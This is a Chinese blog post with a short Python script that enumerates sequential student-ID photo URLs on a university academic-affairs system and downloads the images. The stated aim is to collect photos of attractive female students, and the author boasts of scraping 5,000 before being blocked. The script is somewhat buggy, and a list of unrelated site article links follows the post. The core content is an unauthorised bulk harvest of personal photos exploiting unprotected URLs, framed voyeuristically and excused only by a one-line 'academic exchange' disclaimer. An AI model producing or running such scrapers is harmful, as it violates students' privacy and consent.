python获取教务管理系统的MM照片
2024-10-01 16:34:48
前提:你的教务管理系统是明文存储大家的图片,加密的图片就不好弄了...
也就是能够通过浏览器直接访问...技术上就不存在什么问题了...如果是学号存储的就更方便了
然后我们就可以写个小脚本了...其实就是直接url获取然后保存在本地...
第一个python小脚本...练手玩一玩...
如果要效率高可以用多线程...
大家就可以愉快的找到MM的照片啦! 不要太过火哟...我下载到5000张的时候就被远程停止了...sad...
import urllib.request for i in range(10,10000):
name = "http://www.xx.edu.cn:8081/_photo/student/20110000"
tmp = '%d'%i
while(len(tmp) < 4):
tmp = "" + tmp
name = name + tmp + ".jpg"
print(name)
try:
socket = urllib.request.urlopen(name)
except:
print(name+"not exist")
finally:
data = socket.read()
path = r"F:\pic\"
path = path + tmp + ".jpg"
print(path)
with open(path,"wb") as jpg:
jpg.write(data)
socket.close()
解释一下...我是用python3.3 2.X的用户要用import urllib2
4-8行都是处理url字符串的...9行可要可不要
10行是测试该url是否可访问
14行之后就是保存到本地了
纯粹学术交流,请大家不要用于攻击等行为
最新文章
- win7右键在目录当前打开命令cmd窗口
- OS实验一实验报告
- .NET跨平台:在Linux上基于ASP.NET 5用EF7生成数据库
- 最新QQ强制聊天代码,同时可判断好友关系
- BackgroundCheck – 根据图片亮度智能切换元素样式
- Color Map的生成方法
- C#中IP地址转换为数值的方法
- LA4329 Ping pong(树状数组与组合原理)
- hibernate安装和配置和第一个Hibernate应用
- Iframe知识点
- C#实现GridView导出Excel
- 详解equals()方法和hashCode()方法
- JQuery中的回调对象
- Hadoop记录- Yarn Job MAX
- 【SPFA与Dijkstra的对比】CDOJ 1961 咸鱼睡觉觉【差分约束-负权最短路径SPFA】
- oracle io 等待图解
- Linux下出现command not found的解决办法
- ubuntu-16.04.1-desktop-amd64.iso:ubuntu-16.04.1-desktop-amd64:安装Oracle11gR2
- 学习Linux二(创建、删除文件和文件夹命令)
- 1109: [POI2007]堆积木Klo
热门文章
- 养活一款APP要“烧”多少钱?
- Springmvc JSON交互
- 怎样創建 iOS 展開式 UITableView?
- [学习笔记]BS架构与CS架构
- Webfont 的兼容性问题[持续更新]
- error C4996: &#39;fopen&#39;: This function or variable may be unsafe. Consider using fopen_s instead解决方案
- PostgreSQL Replication之第三章 理解即时恢复(1)
- vuejs on
- vue打包后显示空白正确处理方法
- Centos7不修改默认交换分区下添加交换分区